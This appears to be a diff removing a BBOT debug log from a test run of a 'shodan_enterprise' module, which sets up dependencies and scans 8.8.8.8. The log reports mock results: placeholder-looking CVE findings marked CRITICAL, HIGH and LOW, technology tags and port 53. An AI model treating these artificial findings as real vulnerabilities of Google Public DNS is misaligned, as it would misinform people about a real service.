{ - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 09:03:14,712 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 09:03:14,712 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 09:03:14,716 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:03:14,717 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 09:03:14,717 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 09:03:14,717 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 09:03:14,719 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/w16yt1i9zhs2t7h04231 -2026-03-02 09:03:15,448 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 09:03:15,449 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 09:03:15,449 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:03:15,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 09:03:15,451 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 09:03:15,518 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 09:03:15,518 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 09:03:15,519 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 09:03:15,520 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 09:03:15,520 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 09:03:15,521 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 09:03:15,521 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 09:03:15,522 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 09:03:15,522 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 09:03:15,522 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 09:03:15,525 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 09:03:15,526 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 09:03:15,526 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 09:03:15,526 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 09:03:15,526 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 09:03:15,526 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 09:03:15,527 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 09:03:15,527 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 09:03:15,527 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 09:03:15,527 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 09:03:15,527 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 09:03:15,528 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 09:03:15,529 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 09:03:15,529 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 09:03:15,530 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 09:03:15,608 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_gxnvavuix2 -2026-03-02 09:03:15,609 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 09:03:15,681 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 09:03:15,681 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 09:03:15,681 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 09:03:15,682 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-03-02 09:03:15,783 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:03:15,784 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:03:15,785 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:03:15,785 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check -2026-03-02 09:03:15,786 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-03-02 09:03:15,787 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:03:15,787 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:03:15,788 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,789 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:03:15,789 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:03:15,790 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-02 09:03:15,790 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-02 09:03:15,790 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-02 09:03:15,791 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:03:15,792 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 09:03:15,796 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-02 09:03:15,797 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-02 09:03:15,797 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-02 09:03:15,798 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-02 09:03:15,798 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-03-02 09:03:15,799 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-03-02 09:03:15,799 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-03-02 09:03:15,799 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-02 09:03:15,800 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-02 09:03:15,802 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-02 09:03:15,882 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 09:03:15,883 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:03:15,883 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-03-02 09:03:15,884 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-02 09:03:15,890 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:03:15,891 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:03:15,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:03:15,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,893 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,893 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:03:15,893 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:03:15,894 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,894 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,894 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,895 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,895 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:03:15,895 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,896 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,896 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,896 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:03:15,896 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:03:15,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:03:15,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:03:15,897 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,898 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,899 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:03:15,899 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) because precheck succeeded -2026-03-02 09:03:15,899 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,899 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:03:15,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,900 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,901 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:03:15,901 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:03:15,901 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,901 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,902 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:03:15,902 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,902 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,902 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,903 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:03:15,903 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:03:15,903 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:03:15,904 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,904 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,905 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,905 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:03:15,905 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:03:15,905 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:03:15,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:03:15,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,906 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:03:15,907 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:03:15,907 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:03:15,907 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:03:15,908 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded -2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_egress 